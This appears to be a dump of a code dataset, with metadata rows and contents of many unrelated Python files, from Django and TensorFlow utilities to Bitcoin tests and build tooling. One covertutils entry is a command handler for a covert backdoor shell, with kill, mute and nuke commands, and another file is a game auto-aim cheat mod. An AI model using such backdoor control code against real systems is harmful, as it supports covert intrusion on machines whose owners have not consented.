25.190476
72
0.706994
from typing import List from django.contrib.auth.models import User from django.utils import timezone from bookmarks.models import Tag def get_or_create_tags(tag_names: List[str], user: User): return [get_or_create_tag(tag_name, user) for tag_name in tag_names] def get_or_create_tag(name: str, user: User): ...
true
true
1c339ec89326bd780667ec2cc34b9f8dae8bd876
7,177
py
Python
research/object_detection/predictors/heads/keras_class_head_test.py
873040/Abhishek
2ddd716e66bc5cc6e6f0787508dd07da0e02e75a
[ "Apache-2.0" ]
153
2020-10-25T13:58:04.000Z
2022-03-07T06:01:54.000Z
research/object_detection/predictors/heads/keras_class_head_test.py
873040/Abhishek
2ddd716e66bc5cc6e6f0787508dd07da0e02e75a
[ "Apache-2.0" ]
12
2020-03-24T17:53:50.000Z
2022-03-12T00:05:19.000Z
research/object_detection/predictors/heads/keras_class_head_test.py
873040/Abhishek
2ddd716e66bc5cc6e6f0787508dd07da0e02e75a
[ "Apache-2.0" ]
23
2020-10-25T14:44:47.000Z
2021-03-31T02:12:13.000Z
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
37.380208
80
0.704751
import tensorflow as tf from google.protobuf import text_format from object_detection.builders import hyperparams_builder from object_detection.predictors.heads import keras_class_head from object_detection.protos import hyperparams_pb2 from object_detection.utils import test_case class ConvolutionalK...
true
true
1c339f26fe988d3d0d3c50108569327ce6e8ea57
342
py
Python
employees/serializers.py
rrobles9112/django-rest-framework-crud
88f8e881fd520493beb480cf15e5079db5e26f25
[ "MIT" ]
null
null
null
employees/serializers.py
rrobles9112/django-rest-framework-crud
88f8e881fd520493beb480cf15e5079db5e26f25
[ "MIT" ]
null
null
null
employees/serializers.py
rrobles9112/django-rest-framework-crud
88f8e881fd520493beb480cf15e5079db5e26f25
[ "MIT" ]
null
null
null
from rest_framework import serializers from .models import Employees from django.contrib.auth.models import User class EmployeeSerializer(serializers.ModelSerializer): # create class to serializer model class Meta: model = Employees fields = ('employee_code', 'salary_per_hour', 'start_data',...
26.307692
90
0.736842
from rest_framework import serializers from .models import Employees from django.contrib.auth.models import User class EmployeeSerializer(serializers.ModelSerializer): class Meta: model = Employees fields = ('employee_code', 'salary_per_hour', 'start_data', 'departament')
true
true
1c339f77114e97021522ac4ae64937cd92a4e82f
29,153
py
Python
salt/utils/master.py
amaclean199/salt
8aaac011b4616e3c9e74a1daafb4a2146a5a430f
[ "Apache-2.0" ]
null
null
null
salt/utils/master.py
amaclean199/salt
8aaac011b4616e3c9e74a1daafb4a2146a5a430f
[ "Apache-2.0" ]
null
null
null
salt/utils/master.py
amaclean199/salt
8aaac011b4616e3c9e74a1daafb4a2146a5a430f
[ "Apache-2.0" ]
1
2019-06-10T17:42:31.000Z
2019-06-10T17:42:31.000Z
# -*- coding: utf-8 -*- ''' salt.utils.master ----------------- Utilities that can only be used on a salt master. ''' # Import python libs from __future__ import absolute_import, unicode_literals import os import logging import signal from threading import Thread, Event # Import salt libs import salt.lo...
39.663946
142
0.58759
from __future__ import absolute_import, unicode_literals import os import logging import signal from threading import Thread, Event import salt.log import salt.cache import salt.client import salt.pillar import salt.utils.atomicfile import salt.utils.files import salt.utils.minions import salt.utils.platform impor...
true
true
1c33a0ae9bb2ef8611e2ccd924393747b61b9446
7,505
py
Python
create_RU_dataset/RU_doc2vec_baseline.py
OlegDurandin/AuthorStyle
75288df4ad0f88677645c3af00fbd7c0f7f58822
[ "MIT" ]
3
2019-09-29T17:10:43.000Z
2020-09-21T09:58:48.000Z
create_RU_dataset/RU_doc2vec_baseline.py
OlegDurandin/AuthorStyle
75288df4ad0f88677645c3af00fbd7c0f7f58822
[ "MIT" ]
2
2019-07-14T11:14:48.000Z
2019-07-14T11:16:54.000Z
create_RU_dataset/RU_doc2vec_baseline.py
OlegDurandin/AuthorStyle
75288df4ad0f88677645c3af00fbd7c0f7f58822
[ "MIT" ]
null
null
null
from gensim.models import Doc2Vec import pickle import os from src.settings import PATH_TO_OUTPUT_FOLDER from tqdm import tqdm def save_data_from_doc2vec(filename, model, authors_list, novels_list): data_csv = open(filename + '.csv', 'w', encoding='utf-8') print('Save file: {}'.form...
56.007463
139
0.630513
from gensim.models import Doc2Vec import pickle import os from src.settings import PATH_TO_OUTPUT_FOLDER from tqdm import tqdm def save_data_from_doc2vec(filename, model, authors_list, novels_list): data_csv = open(filename + '.csv', 'w', encoding='utf-8') print('Save file: {}'.form...
true
true
1c33a2588ff9ca2ac64905835a1581d4a124f5e7
220
py
Python
Modulo-um/Exercicio15.py
Ribinha740/Exercicios-python
c2af02fedd2f72445abedf3598cb07c74fad326f
[ "MIT" ]
null
null
null
Modulo-um/Exercicio15.py
Ribinha740/Exercicios-python
c2af02fedd2f72445abedf3598cb07c74fad326f
[ "MIT" ]
null
null
null
Modulo-um/Exercicio15.py
Ribinha740/Exercicios-python
c2af02fedd2f72445abedf3598cb07c74fad326f
[ "MIT" ]
null
null
null
print('=========DESAFIO15=========') dias = int(input('Quanto Dias o Carro Foi Alugados? ')) km = float(input('Quantos KM Rodados? ')) pago = (dias * 60) + (km * 0.15) print('O total a pagar é de R${:.2f}'.format(pago))
36.666667
55
0.586364
print('=========DESAFIO15=========') dias = int(input('Quanto Dias o Carro Foi Alugados? ')) km = float(input('Quantos KM Rodados? ')) pago = (dias * 60) + (km * 0.15) print('O total a pagar é de R${:.2f}'.format(pago))
true
true
1c33a2ecdebd464746f4c1f02c99f8c5789fd71c
30,632
py
Python
.deprecated/mod_autoaim_extended/mod_autoaim_extended310.py
angelsoft1/spoter-mods
cf7358f7a51930ecb871c5b9cae0e0a1712d2b06
[ "WTFPL" ]
150
2015-11-07T12:58:06.000Z
2022-03-19T17:52:34.000Z
.deprecated/mod_autoaim_extended/mod_autoaim_extended310.py
angelsoft1/spoter-mods
cf7358f7a51930ecb871c5b9cae0e0a1712d2b06
[ "WTFPL" ]
62
2015-12-17T02:11:18.000Z
2021-02-07T11:37:22.000Z
.deprecated/mod_autoaim_extended/mod_autoaim_extended310.py
angelsoft1/spoter-mods
cf7358f7a51930ecb871c5b9cae0e0a1712d2b06
[ "WTFPL" ]
97
2015-11-10T18:43:02.000Z
2022-01-28T20:58:23.000Z
# -*- coding: utf-8 -*- import os import re import json import codecs import datetime import threading import urllib import urllib2 import math import BigWorld import GUI import Vehicle import Math from constants import AUTH_REALM from Avatar import PlayerAvatar from AvatarInputHandler import cameras from BattleReplay ...
39.271795
226
0.57231
import os import re import json import codecs import datetime import threading import urllib import urllib2 import math import BigWorld import GUI import Vehicle import Math from constants import AUTH_REALM from Avatar import PlayerAvatar from AvatarInputHandler import cameras from BattleReplay import BattleReplay fro...
false
true
1c33a3a4cbb41866a0f79ea7c4789a698fa13c56
87,240
py
Python
test/functional/feature_taproot.py
quantumedusa/bitcoin
9fb050720b88f4448547c49841c0c01c92370934
[ "MIT" ]
20
2021-02-24T18:57:12.000Z
2021-06-27T01:20:43.000Z
test/functional/feature_taproot.py
quantumedusa/bitcoin
9fb050720b88f4448547c49841c0c01c92370934
[ "MIT" ]
6
2021-04-08T23:50:08.000Z
2021-12-31T10:53:38.000Z
test/functional/feature_taproot.py
quantumedusa/bitcoin
9fb050720b88f4448547c49841c0c01c92370934
[ "MIT" ]
4
2021-03-14T13:38:48.000Z
2021-06-18T17:11:05.000Z
#!/usr/bin/env python3 # Copyright (c) 2019-2020 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # Test Taproot softfork (BIPs 340-342) from test_framework.blocktools import ( create_coinbase, c...
58.866397
363
0.670128
from test_framework.blocktools import ( create_coinbase, create_block, add_witness_commitment, MAX_BLOCK_SIGOPS_WEIGHT, NORMAL_GBT_REQUEST_PARAMS, WITNESS_SCALE_FACTOR, ) from test_framework.messages import ( COutPoint, CTransaction, CTxIn, CTxInWitness, CTxOut, ToH...
true
true
1c33a470cd3d84b5a955d61b336be1ec9d152d1e
3,254
py
Python
utils/tests/test_overpass.py
posm/osm-export-tool2
5a1f4096f1afbe7420363376e6e1e8d42e47e1d1
[ "BSD-3-Clause" ]
2
2018-08-31T18:30:28.000Z
2018-11-27T01:50:06.000Z
utils/tests/test_overpass.py
posm/osm-export-tool2
5a1f4096f1afbe7420363376e6e1e8d42e47e1d1
[ "BSD-3-Clause" ]
null
null
null
utils/tests/test_overpass.py
posm/osm-export-tool2
5a1f4096f1afbe7420363376e6e1e8d42e47e1d1
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- import logging import os from unittest import skip import mock from mock import patch from django.conf import settings from django.contrib.auth.models import Group, User from django.contrib.gis.geos import GEOSGeometry, Polygon from django.test import TestCase from jobs import presets from jo...
36.561798
102
0.592502
import logging import os from unittest import skip import mock from mock import patch from django.conf import settings from django.contrib.auth.models import Group, User from django.contrib.gis.geos import GEOSGeometry, Polygon from django.test import TestCase from jobs import presets from jobs.models import Export...
true
true
1c33a523912e848401b2771ef8932cd156444823
7,439
py
Python
src/headers/__init__.py
joniumGit/headers
0c0e0564445810d4408cafd6cd66ec0e5952179c
[ "MIT" ]
null
null
null
src/headers/__init__.py
joniumGit/headers
0c0e0564445810d4408cafd6cd66ec0e5952179c
[ "MIT" ]
null
null
null
src/headers/__init__.py
joniumGit/headers
0c0e0564445810d4408cafd6cd66ec0e5952179c
[ "MIT" ]
null
null
null
A_IM = "A-IM" ACCEPT = "Accept" ACCEPT_ADDITIONS = "Accept-Additions" ACCEPT_CH = "Accept-CH" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_DATETIME = "Accept-Datetime" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_FEATURES = "Accept-Features" ACCEPT_LANGUAGE = "Accept-Language" ACCEPT_PATCH = "Accept-Patch" ACCEPT_POST = "Acc...
31.521186
85
0.777524
A_IM = "A-IM" ACCEPT = "Accept" ACCEPT_ADDITIONS = "Accept-Additions" ACCEPT_CH = "Accept-CH" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_DATETIME = "Accept-Datetime" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_FEATURES = "Accept-Features" ACCEPT_LANGUAGE = "Accept-Language" ACCEPT_PATCH = "Accept-Patch" ACCEPT_POST = "Acc...
true
true
1c33a5b52ee4f37831615da72e58cbf8b4b8979e
1,840
py
Python
commander/thirdparty/covertutils/shells/subshells/controlsubshell.py
how2how/ToyHome
4457b1d28e21ed6fd4ab980a0f7fed345c570ae3
[ "Apache-2.0" ]
1
2020-07-26T01:08:30.000Z
2020-07-26T01:08:30.000Z
commander/thirdparty/covertutils/shells/subshells/controlsubshell.py
how2how/ToyHome
4457b1d28e21ed6fd4ab980a0f7fed345c570ae3
[ "Apache-2.0" ]
null
null
null
commander/thirdparty/covertutils/shells/subshells/controlsubshell.py
how2how/ToyHome
4457b1d28e21ed6fd4ab980a0f7fed345c570ae3
[ "Apache-2.0" ]
null
null
null
import json # from covertutils.payloads.generic.control import Commands as control_commands from covertutils.shells.subshells import SimpleSubShell Commands = { 'reset' : 'RST', 'identity' : 'ID', 'sysinfo' : 'SI', 'kill' : 'KI', 'mute' : 'MU', 'unmute' : 'UM', 'nuke' : 'NK', } def message_handle(message, in...
22.439024
130
0.668478
import json from covertutils.shells.subshells import SimpleSubShell Commands = { 'reset' : 'RST', 'identity' : 'ID', 'sysinfo' : 'SI', 'kill' : 'KI', 'mute' : 'MU', 'unmute' : 'UM', 'nuke' : 'NK', } def message_handle(message, instance) : if instance.sysinfo : sysinfo = message.split('+') instan...
true
true
1c33a5e83ba70a5103beb35d3ebdb03657042976
46,111
py
Python
digits/model/images/classification/test_views.py
gheinrich/DIGITS-GAN
63d388095b4f2a2aa6f3b0f6988e01b2c78c3877
[ "BSD-3-Clause" ]
111
2017-04-21T06:03:04.000Z
2021-04-26T06:36:54.000Z
digits/model/images/classification/test_views.py
gheinrich/DIGITS-GAN
63d388095b4f2a2aa6f3b0f6988e01b2c78c3877
[ "BSD-3-Clause" ]
6
2017-05-15T22:02:49.000Z
2018-03-16T10:25:26.000Z
digits/model/images/classification/test_views.py
gheinrich/DIGITS-GAN
63d388095b4f2a2aa6f3b0f6988e01b2c78c3877
[ "BSD-3-Clause" ]
40
2017-04-21T07:04:16.000Z
2019-11-14T14:20:32.000Z
# Copyright (c) 2014-2016, NVIDIA CORPORATION. All rights reserved. from __future__ import absolute_import import itertools import json import os import shutil import tempfile import time import unittest # Find the best implementation available try: from cStringIO import StringIO except ImportError: from Str...
33.413768
117
0.61031
from __future__ import absolute_import import itertools import json import os import shutil import tempfile import time import unittest try: from cStringIO import StringIO except ImportError: from StringIO import StringIO from bs4 import BeautifulSoup from digits.config import config_value import digits.d...
false
true
1c33a6f0962c8eedbd246029b47627afbe7bdab3
1,040
py
Python
lmgtfy/helpers.py
opendata/LMGTDFY
5440d398dd3bdefbdbe5c4f075a0132e6ec9d9c0
[ "MIT" ]
120
2015-02-18T17:02:09.000Z
2021-09-02T22:42:20.000Z
lmgtfy/helpers.py
opendata/LMGTDFY
5440d398dd3bdefbdbe5c4f075a0132e6ec9d9c0
[ "MIT" ]
34
2015-02-12T16:53:47.000Z
2016-05-04T20:17:09.000Z
lmgtfy/helpers.py
opendata/LMGTDFY
5440d398dd3bdefbdbe5c4f075a0132e6ec9d9c0
[ "MIT" ]
14
2015-02-19T16:39:29.000Z
2019-01-21T02:57:02.000Z
from datetime import datetime, timedelta from crispy_forms.layout import Submit from lmgtfy.models import Domain, DomainSearch, TLD from lmgtfy.tasks import search_bing_task class CleanSubmitButton(Submit): field_classes = 'btn btn-default' def search_bing(domain): domain_db_record, _created = Domain.object...
32.5
91
0.735577
from datetime import datetime, timedelta from crispy_forms.layout import Submit from lmgtfy.models import Domain, DomainSearch, TLD from lmgtfy.tasks import search_bing_task class CleanSubmitButton(Submit): field_classes = 'btn btn-default' def search_bing(domain): domain_db_record, _created = Domain.object...
true
true
1c33a846e2842f65c339d069dc91f7a42d82d6da
7,410
py
Python
LaU-reg/experiments/segmentation/option.py
HolmesShuan/Location-aware-Upsampling-for-Semantic-Segmentation
83822e86570bbff4ca721d80089b5d82f1958852
[ "BSD-2-Clause" ]
51
2019-11-14T01:48:24.000Z
2021-11-09T02:42:22.000Z
LaU-reg/experiments/segmentation/option.py
HolmesShuan/Location-aware-Upsampling-for-Semantic-Segmentation
83822e86570bbff4ca721d80089b5d82f1958852
[ "BSD-2-Clause" ]
4
2019-11-15T10:14:10.000Z
2020-03-17T12:14:50.000Z
LaU-reg/experiments/segmentation/option.py
HolmesShuan/Location-aware-Upsampling-for-Semantic-Segmentation
83822e86570bbff4ca721d80089b5d82f1958852
[ "BSD-2-Clause" ]
9
2019-11-14T12:39:03.000Z
2020-03-03T08:27:19.000Z
########################################################################### # Created by: Hang Zhang # Email: zhang.hang@rutgers.edu # Copyright (c) 2017 ########################################################################### import argparse import torch class Options(): def __init__(self): parser =...
52.928571
83
0.521457
ranch-input-channel', type=int, default=512, help='input channel number in LaU') parser.add_argument('--category', type=int, default=59, help='category number') parser.add_argument('--downsampled-input-size', type=int, default=60, ...
true
true
1c33a85214b18127e3cd53a3c1cb7390dd0fa6e1
1,566
py
Python
flags/migrations/0003_rename_variant_classification.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
5
2021-01-14T03:34:42.000Z
2022-03-07T15:34:18.000Z
flags/migrations/0003_rename_variant_classification.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
551
2020-10-19T00:02:38.000Z
2022-03-30T02:18:22.000Z
flags/migrations/0003_rename_variant_classification.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
null
null
null
# Generated by Django 3.1 on 2020-10-01 07:38 from django.db import migrations def rename_variant_classification(apps, schema_editor): FlagTypeContext = apps.get_model("flags", "FlagTypeContext") FlagType = apps.get_model("flags", "FlagType") FlagTypeResolution = apps.get_model("flags", "FlagTypeResoluti...
40.153846
119
0.742656
from django.db import migrations def rename_variant_classification(apps, schema_editor): FlagTypeContext = apps.get_model("flags", "FlagTypeContext") FlagType = apps.get_model("flags", "FlagType") FlagTypeResolution = apps.get_model("flags", "FlagTypeResolution") Flag = apps.get_model("flags", "Flag...
true
true
1c33aa489ef1547a0506375204b794ad0c202eb6
53,478
py
Python
desicos/xlutils/tests/test_filter.py
saullocastro/desicos
922db8ac4fb0fb4d09df18ce2a14011f207f6fa8
[ "BSD-3-Clause" ]
1
2020-10-22T22:15:24.000Z
2020-10-22T22:15:24.000Z
desicos/xlutils/tests/test_filter.py
saullocastro/desicos
922db8ac4fb0fb4d09df18ce2a14011f207f6fa8
[ "BSD-3-Clause" ]
1
2020-10-09T12:42:02.000Z
2020-10-09T12:42:02.000Z
desicos/xlutils/tests/test_filter.py
saullocastro/desicos
922db8ac4fb0fb4d09df18ce2a14011f207f6fa8
[ "BSD-3-Clause" ]
2
2020-07-14T07:45:31.000Z
2020-12-29T00:22:41.000Z
from __future__ import with_statement # Copyright (c) 2008-2012 Simplistix Ltd # # This Software is released under the MIT License: # http://www.opensource.org/licenses/mit-license.html # See license.txt for more details. from mock import Mock from StringIO import StringIO from tempfile import TemporaryFile from test...
34.975801
104
0.486985
from __future__ import with_statement from mock import Mock from StringIO import StringIO from tempfile import TemporaryFile from testfixtures import (compare, Comparison as C, replace, log_capture, ShouldRaise, tempdir) from unittest import TestSuite,TestCase,makeSuite from desicos.xlrd import (open_wor...
false
true
1c33ac662c0ee6f1d7ca9b77490a9526ccbec4a6
3,049
py
Python
authliboclc/refreshtoken.py
pybrarian/oclc-auth-python
fbc6d396d0d8005dbe29d3c6636d44f02f0d8cd0
[ "Apache-2.0" ]
20
2015-04-08T14:55:32.000Z
2022-03-28T14:40:17.000Z
authliboclc/refreshtoken.py
pybrarian/oclc-auth-python
fbc6d396d0d8005dbe29d3c6636d44f02f0d8cd0
[ "Apache-2.0" ]
4
2016-06-16T13:39:48.000Z
2019-06-04T14:51:08.000Z
authliboclc/refreshtoken.py
pybrarian/oclc-auth-python
fbc6d396d0d8005dbe29d3c6636d44f02f0d8cd0
[ "Apache-2.0" ]
5
2016-10-12T19:22:32.000Z
2019-02-27T21:26:43.000Z
# -*- coding: utf-8 -*- ############################################################################### # Copyright 2014 OCLC # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.a...
34.258427
120
0.642834
true
true
1c33aca6bacea47c9cb4f5802b964a798bf9e017
15,870
py
Python
twill/browser.py
codesprinters/twillmanager
2151e7a3dd1382f292a5473591a8498180baf168
[ "BSD-3-Clause" ]
1
2015-05-18T02:05:20.000Z
2015-05-18T02:05:20.000Z
twill/browser.py
codesprinters/twillmanager
2151e7a3dd1382f292a5473591a8498180baf168
[ "BSD-3-Clause" ]
null
null
null
twill/browser.py
codesprinters/twillmanager
2151e7a3dd1382f292a5473591a8498180baf168
[ "BSD-3-Clause" ]
null
null
null
""" Implements TwillBrowser, a simple stateful wrapper for mechanize.Browser. See _browser.py for mechanize code. """ OUT=None # Python imports import re # wwwsearch imports import _mechanize_dist as mechanize from _mechanize_dist import BrowserStateError, LinkNotFoundError, ClientForm # twill package imports from...
28.854545
80
0.528796
""" Implements TwillBrowser, a simple stateful wrapper for mechanize.Browser. See _browser.py for mechanize code. """ OUT=None import re import _mechanize_dist as mechanize from _mechanize_dist import BrowserStateError, LinkNotFoundError, ClientForm from _browser import PatchedMechanizeBrowser from utils import...
false
true
1c33ad31f9732263899e11549699fa7de9573418
29,468
py
Python
tests/sentry/receivers/test_featureadoption.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
1
2019-10-17T17:46:16.000Z
2019-10-17T17:46:16.000Z
tests/sentry/receivers/test_featureadoption.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
null
null
null
tests/sentry/receivers/test_featureadoption.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import import json from django.utils import timezone from sentry.models import FeatureAdoption, GroupAssignee, GroupTombstone, Rule from sentry.plugins import IssueTrackingPlugin2, NotificationPlugin from sentry.signals import ( alert_rule_created, event_processed, first_ev...
43.335294
324
0.591794
from __future__ import absolute_import import json from django.utils import timezone from sentry.models import FeatureAdoption, GroupAssignee, GroupTombstone, Rule from sentry.plugins import IssueTrackingPlugin2, NotificationPlugin from sentry.signals import ( alert_rule_created, event_processed, first_ev...
true
true
1c33aefdf59902ba2acdb9aad1f915e9bd0231db
1,716
py
Python
examples/dp-sgd-mnist/server.py
andreea-zaharia/flower
c576f0118e5c3d7a7d774dc156fb4b6db194655d
[ "Apache-2.0" ]
null
null
null
examples/dp-sgd-mnist/server.py
andreea-zaharia/flower
c576f0118e5c3d7a7d774dc156fb4b6db194655d
[ "Apache-2.0" ]
null
null
null
examples/dp-sgd-mnist/server.py
andreea-zaharia/flower
c576f0118e5c3d7a7d774dc156fb4b6db194655d
[ "Apache-2.0" ]
null
null
null
import argparse import os import tensorflow as tf import flwr as fl import common # Make TensorFlow logs less verbose os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3" def get_eval_fn(model): """Return an evaluation function for server-side evaluation.""" # Load test data here to avoid the overhead of doing it in...
30.642857
80
0.706294
import argparse import os import tensorflow as tf import flwr as fl import common os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3" def get_eval_fn(model): _, test = tf.keras.datasets.mnist.load_data() test_data, test_labels = test test_data, test_labels = common.preprocess(test_data, test_labels)...
true
true
1c33afb249e0a2b024fc113cea6c70dec1148ad2
14
py
Python
example_snippets/multimenus_snippets/NewSnippets/SymPy/Constants/Rational numbers.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
null
null
null
example_snippets/multimenus_snippets/NewSnippets/SymPy/Constants/Rational numbers.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
null
null
null
example_snippets/multimenus_snippets/NewSnippets/SymPy/Constants/Rational numbers.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
1
2021-02-04T04:51:48.000Z
2021-02-04T04:51:48.000Z
Rational(3, 7)
14
14
0.714286
Rational(3, 7)
true
true
1c33b0fb6464cb76596de1e2b2f7ba678e1b5176
68,734
py
Python
poky-daisy/meta/lib/oe/package_manager.py
marcosbontempo/inatelos
6c2b0875a82de207b90077886da25f494a79aaf4
[ "MIT" ]
null
null
null
poky-daisy/meta/lib/oe/package_manager.py
marcosbontempo/inatelos
6c2b0875a82de207b90077886da25f494a79aaf4
[ "MIT" ]
null
null
null
poky-daisy/meta/lib/oe/package_manager.py
marcosbontempo/inatelos
6c2b0875a82de207b90077886da25f494a79aaf4
[ "MIT" ]
null
null
null
from abc import ABCMeta, abstractmethod import os import glob import subprocess import shutil import multiprocessing import re import bb import tempfile # this can be used by all PM backends to create the index files in parallel def create_index(arg): index_cmd = arg try: bb.note("Executing '%s' ..."...
39.661858
113
0.544258
from abc import ABCMeta, abstractmethod import os import glob import subprocess import shutil import multiprocessing import re import bb import tempfile def create_index(arg): index_cmd = arg try: bb.note("Executing '%s' ..." % index_cmd) subprocess.check_output(index_cmd, stderr=subprocess....
false
true
1c33b100dd29628c27cade81487d0558c654e802
27,834
py
Python
astromodels/core/model_parser.py
domeckert/astromodels
541e589c55969ce710bcc6eca583a1736b03c7d8
[ "BSD-3-Clause" ]
null
null
null
astromodels/core/model_parser.py
domeckert/astromodels
541e589c55969ce710bcc6eca583a1736b03c7d8
[ "BSD-3-Clause" ]
null
null
null
astromodels/core/model_parser.py
domeckert/astromodels
541e589c55969ce710bcc6eca583a1736b03c7d8
[ "BSD-3-Clause" ]
null
null
null
from builtins import object, str __author__ = "giacomov" import re import warnings from astromodels.core import (model, parameter, polarization, sky_direction, spectral_component) from astromodels.core.my_yaml import my_yaml from astromodels.functions import function from astromodels.so...
29.896885
119
0.578932
from builtins import object, str __author__ = "giacomov" import re import warnings from astromodels.core import (model, parameter, polarization, sky_direction, spectral_component) from astromodels.core.my_yaml import my_yaml from astromodels.functions import function from astromodels.so...
true
true
1c33b274571759e77e6dd52220d80f86a0c0bc06
4,544
py
Python
docusign_esign/models/bulk_send_request.py
joekohlsdorf/docusign-esign-python-client
40407544f79c88716d36fabf36f65c3ef1a5c3ba
[ "MIT" ]
58
2017-10-18T23:06:57.000Z
2021-04-15T23:14:58.000Z
docusign_esign/models/bulk_send_request.py
joekohlsdorf/docusign-esign-python-client
40407544f79c88716d36fabf36f65c3ef1a5c3ba
[ "MIT" ]
49
2017-10-27T05:54:09.000Z
2021-04-29T22:06:17.000Z
docusign_esign/models/bulk_send_request.py
joekohlsdorf/docusign-esign-python-client
40407544f79c88716d36fabf36f65c3ef1a5c3ba
[ "MIT" ]
49
2017-09-16T07:23:41.000Z
2021-05-07T20:21:20.000Z
# coding: utf-8 """ DocuSign REST API The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. # noqa: E501 OpenAPI spec version: v2.1 Contact: devcenter@docusign.com Generated by: https://github.com/swagger-api/swagger-codegen.gi...
29.894737
140
0.600572
import pprint import re import six from docusign_esign.client.configuration import Configuration class BulkSendRequest(object): swagger_types = { 'batch_name': 'str', 'envelope_or_template_id': 'str' } attribute_map = { 'batch_name': 'batchName', 'envelope_or_temp...
true
true
1c33b2a09b44db5a187a1aef02d537d19d775728
3,601
py
Python
blabber_log_gen.py
markcitron/blabber_log_gen
671e348d8d9c2120b5d99913d0828a724560dd2b
[ "Apache-2.0" ]
null
null
null
blabber_log_gen.py
markcitron/blabber_log_gen
671e348d8d9c2120b5d99913d0828a724560dd2b
[ "Apache-2.0" ]
null
null
null
blabber_log_gen.py
markcitron/blabber_log_gen
671e348d8d9c2120b5d99913d0828a724560dd2b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 """ Blabber log gen - This script will generate one or more sample logs This script is called from the start_blabber.py so that it will clean up any logs started, etc. If you start the logs directly from here you can kill the log with cntl-c or whatever :-) The log generator purpose...
35.303922
130
0.579561
import logging, argparse, time def make_parser(): p = argparse.ArgumentParser(description="") p.add_argument("--log_name", "-n", help="Name of log to create. If multiple logs, log number will be appended to this name.") p.add_argument("--log_level", "-l", help="") p.add_argument("--log_id", "-i", he...
true
true
1c33b603ad9429d7889269b3aeaa7810a1df9cce
6,463
py
Python
opencood/hypes_yaml/yaml_utils.py
CARLAlover/OpenCOOD
dd42cc7a31bc261ea2461b3068ed6111f13ff437
[ "Apache-2.0" ]
null
null
null
opencood/hypes_yaml/yaml_utils.py
CARLAlover/OpenCOOD
dd42cc7a31bc261ea2461b3068ed6111f13ff437
[ "Apache-2.0" ]
null
null
null
opencood/hypes_yaml/yaml_utils.py
CARLAlover/OpenCOOD
dd42cc7a31bc261ea2461b3068ed6111f13ff437
[ "Apache-2.0" ]
null
null
null
import re import yaml import os import numpy as np def load_yaml(file, opt=None): """ Load yaml file and return a dictionary. Parameters ---------- file : string yaml file path. opt : argparser Argparser. Returns ------- param : dict A dictionary that co...
26.929167
79
0.59183
import re import yaml import os import numpy as np def load_yaml(file, opt=None): if opt and opt.model_dir: file = os.path.join(opt.model_dir, 'config.yaml') stream = open(file, 'r') loader = yaml.Loader loader.add_implicit_resolver( u'tag:yaml.org,2002:float', re.compile(u''...
true
true
1c33b6a7978fdbc0bd67a4184ebe877b4f9281f3
6,047
py
Python
mut/flow.py
RPGroup-PBoC/mwc_mutants
35581602c35793fc8ec42c8aff37b8305c5e54e1
[ "MIT" ]
3
2020-11-11T21:33:26.000Z
2021-07-14T21:22:43.000Z
mut/flow.py
RPGroup-PBoC/mwc_mutants
35581602c35793fc8ec42c8aff37b8305c5e54e1
[ "MIT" ]
null
null
null
mut/flow.py
RPGroup-PBoC/mwc_mutants
35581602c35793fc8ec42c8aff37b8305c5e54e1
[ "MIT" ]
1
2021-07-14T21:22:45.000Z
2021-07-14T21:22:45.000Z
import numpy as np import fcsparser import pandas as pd from ._fit_bivariate_normal_AstroML import fit_bivariate_normal import scipy.stats # ####################### # Automated Gating # ####################### def fit_2D_gaussian(df, x_val='FSC-H', y_val='SSC-H', log=False): ''' This function hacks astroML fit...
31.494792
79
0.613031
import numpy as np import fcsparser import pandas as pd from ._fit_bivariate_normal_AstroML import fit_bivariate_normal import scipy.stats s(alpha) cov = np.array([[sigma_xx, sigma_xy], [sigma_xy, sigma_yy]]) return mu, cov e covariance matrix can't be singular") # Compute the vector x defined as...
true
true
1c33b6f8041b4f8c936f93105986606a5c958769
2,434
py
Python
tests/linux_benchmarks/resnet_benchmark_test.py
kczauz/PerfKitBenchmarker
66e148a35b54f67f008c7d6e9809d796179a3380
[ "Apache-2.0" ]
null
null
null
tests/linux_benchmarks/resnet_benchmark_test.py
kczauz/PerfKitBenchmarker
66e148a35b54f67f008c7d6e9809d796179a3380
[ "Apache-2.0" ]
null
null
null
tests/linux_benchmarks/resnet_benchmark_test.py
kczauz/PerfKitBenchmarker
66e148a35b54f67f008c7d6e9809d796179a3380
[ "Apache-2.0" ]
null
null
null
